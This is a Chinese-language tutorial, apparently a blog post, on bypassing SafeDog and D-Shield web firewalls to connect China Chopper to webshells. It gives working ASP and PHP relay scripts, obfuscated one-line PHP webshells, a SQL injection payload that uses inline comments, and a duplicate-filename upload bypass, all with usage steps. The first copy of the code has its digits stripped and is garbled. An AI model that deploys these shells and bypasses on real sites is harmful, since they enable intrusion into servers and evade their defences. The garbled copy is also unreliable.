0x00 各种奇葩符号
现在基本上没啥用了,毕竟几年前的小玩意儿
/;.xxx.asp;.jpg
/;.asp/.jpg
像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下
),抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字
code:
<%
JmStr=Replace(Request.Form,"$_POST","$_REQUEST")
JmStr=Replace(JmStr,"->|","-->|")
JmStr=Replace(JmStr,"@eval(","@eval   (")
JmStr=Replace(JmStr,"System.Convert.FromBase64String","System.Convert. FromBase64String")
JMUrl=request("dz")
response.write  request("dz")
JmRef=JMUrl
JmCok=""
response.write  PostData(JMUrl,JmStr,JmCok,JmRef)
Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef
'.SetRequestHeader "Cookie",PostCok
.Send PostStr
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I =  To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, ))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + , ))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I +
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)
strReturn=""
Dim i
For i= To Len(vstrin)
ThisChr=Mid(vstrin,i,)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode< Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
strReturn=Replace(strReturn,chr(),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
strReturn=Replace(strReturn,chr(),"%2B")  'JMDCW增加转换+字符
'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
URLEncoding=strReturn
End Function
%>

用法:
1.将这个脚本拿到可执行的.asp目录
2.访问 http://www.sec.com/demo.asp?dz="要过的shell地址“
3.把地址输入菜刀,密码就是你设置的shell密码,类型还选一句话后缀
例如:http://www.sec.com/demo.asp?dz=http://www.sec.com/yijuhua.php  密码
4.这个脚本暂时支持.php .aspx的一句话连接 .asp的不能用

0x02## 中转(2) 若果上面脚本失效,可以使用这个

<?php
$webshell="http://www.70sec.com/70sec.php";//把这里改成你的shell地址
$webshell=$webshell."?&1141056911=base64_decode";
$da=$_POST;
$data = $da;
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911](
 //print_r($data);
$data = http_build_query($data);
$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
);
$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context); //发送post
echo $html;
?>

小马的话你可以把这两个丢进去:

<?php $a=$_GET['a'];$a($_POST['cmd']);?>
<?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>;

用法:
1.把$webshell改成你的webshell地址
2.把代码保存为1234.php放到你本地的php环境里 然后直接丢菜刀连接
菜刀


0x00 各种奇葩符号
现在基本上没啥用了,毕竟几年前的小玩意儿
/;.xxx.asp;.jpg
/;00.asp/00.jpg
像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下

0x02## 中转(1),抓菜刀连接webshell的包 然后研究安全狗过滤了哪些关键字 中转替换掉那些过滤的关键字

code:

01 <%
02 JmStr=Replace(Request.Form,"$_POST","$_REQUEST")
03 JmStr=Replace(JmStr,"->|","-->|")
04 JmStr=Replace(JmStr,"@eval(","@eval   (")
05 JmStr=Replace(JmStr,"System.Convert.FromBase64String","System.Convert. FromBase64String")
06 JMUrl=request("dz")
07 response.write  request("dz")
08 JmRef=JMUrl
09 JmCok=""
10 response.write  PostData(JMUrl,JmStr,JmCok,JmRef)
11 Function PostData(PostUrl,PostStr,PostCok,PostRef)
12 Dim Http
13 Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
14 With Http
15 .Open "POST",PostUrl,False
16 .SetRequestHeader "Content-Length",Len(PostStr)
17 .SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
18 .SetRequestHeader "Referer",PostRef
19 '.SetRequestHeader "Cookie",PostCok
20 .Send PostStr
21 PostData = .ResponseBody
22 End With
23 Set Http = Nothing
24 PostData =bytes2BSTR(PostData)
25 End Function
26 Function bytes2BSTR(vIn)
27 Dim strReturn
28 Dim I, ThisCharCode, NextCharCode
29 strReturn = ""
30 For I = 1 To LenB(vIn)
31 ThisCharCode = AscB(MidB(vIn, I, 1))
32 If ThisCharCode < &H80 Then
33 strReturn = strReturn & Chr(ThisCharCode)
34 Else
35 NextCharCode = AscB(MidB(vIn, I + 1, 1))
36 strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 +CInt(NextCharCode))
37 I = I + 1
38 End If
39 Next
40 bytes2BSTR = strReturn
41 End Function
42 Function URLEncoding(vstrin)
43 strReturn=""
44 Dim i
45 For i=1 To Len(vstrin)
46 ThisChr=Mid(vstrin,i,1)
47 if Abs(Asc(ThisChr))< &HFF Then
48 strReturn=strReturn & ThisChr
49 Else
50 InnerCode=Asc(ThisChr)
51 If InnerCode<0 Then
52 InnerCode=InnerCode + &H10000
53 End If
54 Hight1=(InnerCode And &HFF00) \&HFF
55 Low1=InnerCode And &HFF
56 strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
57 End if
58 Next
59 strReturn=Replace(strReturn,chr(32),"%20"'转换空格,如果网站过滤了空格,尝试用/**/来代替%20
60 strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
61 'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
62 URLEncoding=strReturn
63 End Function
64 %>

用法:
1.将这个脚本拿到可执行的.asp目录
2.访问 http://www.sec.com/demo.asp?dz="要过的shell地址“
3.把地址输入菜刀,密码就是你设置的shell密码,类型还选一句话后缀
例如:http://www.sec.com/demo.asp?dz=http://www.sec.com/yijuhua.php  密码
4.这个脚本暂时支持.php .aspx的一句话连接 .asp的不能用

0x02## 中转(2) 若果上面脚本失效,可以使用这个

01 <?php
02 $webshell="http://www.70sec.com/70sec.php";//把这里改成你的shell地址
03 $webshell=$webshell."?&1141056911=base64_decode";
04 $da=$_POST;
05 $data $da;
06 @$data=str_replace("base64_decode(",'$_GET[1141056911](',$data);//接收菜刀的post,并把base64_decode替换成$_GET[1141056911](
07  //print_r($data);
08 $data = http_build_query($data); 
09 $opts array 
10 'http' => array 
11 'method' => 'POST'
12 'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
13 "Content-Length: " strlen($data) . "\r\n"
14 'content' => $data)
15 );
16 $context = stream_context_create($opts); 
17 $html = @file_get_contents($webshell, false, $context); //发送post 
18 echo $html
19 ?>

小马的话你可以把这两个丢进去:

1 <?php $a=$_GET['a'];$a($_POST['cmd']);?>
2 <?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>;

用法:
1.把$webshell改成你的webshell地址
2.把代码保存为1234.php放到你本地的php环境里 然后直接丢菜刀连接
菜刀

0x03## 伪装user-agent
网上工具有很多,你可以随便找一个用,firfox也是比较强大的,我用的是铁鹰兄的WAF绕过神器来做试验的,地址放在下面

首先假设一个代理,ie设置之后,那么ie的流量就从这个端口过。
指定域名,也就是只正对目标站修改user-agent,减少工作量。
get改为post好像是过智创waf的吧。

0x04## 复参数绕过
比如一个请求是这样的
GET http://www.sec.com/pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET http://www.sec.com/pen/news.php?id=1&amp;;;id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,目前安全狗的话可以绕过一丢丢语句

0x05## 番外篇 SQL注入绕过
ok,首先来一发demo存在SQL注入漏洞的php

01 <?
02 $uid $_REQUEST['id'];
03 if(!$conn = @mysql_connect("localhost""root""123456"))
04 die('<font size=+1>An Error Occured</font><hr>unable to connect to the database.');
05 if(!@mysql_select_db("supe",$conn))
06 die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");
07 $text "select * from supe_members where uid=".$uid;
08 $rs = mysql_query ($text,$conn);
09 while($rom = mysql_fetch_array($rs))
10 {
11     echo $rom["username"];
12 }
13 ?>

因为用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:

测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/*/是不行的,安全狗也防了这块。但是对内联注释/!and*/这种不知道为什么安全狗没有拦截。
我用下面的语句居然成功绕过SQL注入过滤:
http://www.sec.com/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17

0x05## 番外篇 上传绕过
我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。经过了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。原因是安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是i

绕过D盾安全狗连接菜刀的更多相关文章

  1. 绕过WAF、安全狗知识整理

    0x01 前言 目前市场上的WAF主要有以下几类 1. 以安全狗为代表的基于软件WAF 2. 百度加速乐.安全宝等部署在云端的WAF 3. 硬件WAF WAF的检测主要有三个阶段,我画了一张图进行说明 ...

  2. 绕过D盾的一句话

    一个很简单的一个技巧,作个笔记,可以绕过D盾检测. 新建test1.php <?php eval($_POST[g]); ?> 新建test2.php <?php $a=" ...

  3. webshell绕过D盾

    PHP常见的代码执行函数: eval() assert() preg_replace() create_function() array_map() call_user_func() call_use ...

  4. 绕过D盾的php一句话

    d_dun.php <?php $a = '小狗狗你好啊'; $b = '小盾盾你好啊'; foreach ($_REQUEST as $key => $value) { $$key = ...

  5. 绕过云盾找真实IP-找真实IP-绕过CDN

    目标站:www.chinaparkview.cn 云盾挡着了 查一下历史IP 查出3月9号的IP是103.249.104.114 当然查出来的不一定准确 修改本地host文件 PS:不要加http 然 ...

  6. 如何自己写aspx过狗D盾一句话木马

    hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风 引用 ...

  7. 绕过安全狗等一些WAF收集

    绕过安全狗sql注入 http://demo.74cms.com/plus/ajax_common.php?act=hotwordquery=錦union+select+1,group_concat% ...

  8. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

  9. 渗透测试学习 二十八、WAF绕过详解

    大纲: WAF防护原理讲解 目录扫描绕过WAF 手工注入绕过WAF sqlmap绕过WAF 编写salmap绕过WAF 过WAF一句话编写讲解 菜刀连接绕过WAF webshell上传绕过WAF 提权 ...

随机推荐

  1. winform(数据导出、TreeView的使用)

    一.数据导出:目标: 将数据库的数据导出成Excel工作表或是Word文档 基本步骤: 1.首先将数据库中的数据封装成实体类 2.写好查询数据的方法,在主窗体中调用查看所有的数据 3.利用saveFi ...

  2. [js开源组件开发]图片放大镜

    图片放大镜 一般情况下,手机由于屏幕太小,会有图片上看不清的问题,所以我就做了一个放大镜的js效果,支持pc和移动端.它的原理是利用的backgroundsize来实现的,所以你的浏览器首先要支持这个 ...

  3. <input type="text"/>未输入时属性value的默认值--js学习之路

    在百度ife刷题是自己的一个错误引发了我对<input type="text"/>的学习. 先贴代码: <!DOCTYPE html> <html&g ...

  4. 微信支付redirect_uri参数错误

    在做微信支付的时候,点击提交,出现“redirect_uri参数错误”.经过查找,需要在后台正确设置授权域名.大致步骤如下:1.首先登录微信公众号管理后台2.点击开发者中心3.找到 网页账号—> ...

  5. 微信公众平台SDK Python

    微信公众平台SDK 项目背景 从2014年开始玩微信公众平台,试用过其中大多数的功能,如:消息回复.自定义菜单.公众号中的支付,页面授权等.之前的程序中都是直接调用公众平台的接口,这样复用功能无法实现 ...

  6. iOS开发Facebook POP动效库使用教程

    如果说Origami这款动效原型工具是Facebook Paper的幕后功臣,那么POP便是Origami的地基.感谢Facebook开源了POP动效库,让人人都能制作出华丽的动效.我们只需5步,便能 ...

  7. Swift语言

    本文为熟悉使用Objective-C开发iOS快速转入swift开发提供一些便利的途径,没有过多华丽的说明底层原理,也没有过多的概念说明,只提供swift的基本使用以及一些使用示例.高手请让路哈. S ...

  8. iOS开发中常用方法调用顺序

  9. ASP.NET @Page指令属性(vs2010)

    最近看一篇好文章,摘抄下来. 原文出处:http://www.cnblogs.com/zhaozhan/archive/2010/05/01/1725819.html @Page指令位于每个ASP.N ...

  10. ubuntu不能访问windows中的文件

    出现不能访问某个盘时(例如:OS) Error mounting /dev/sda5 at /media/user/OS: Command-line `mount -t "ntfs" ...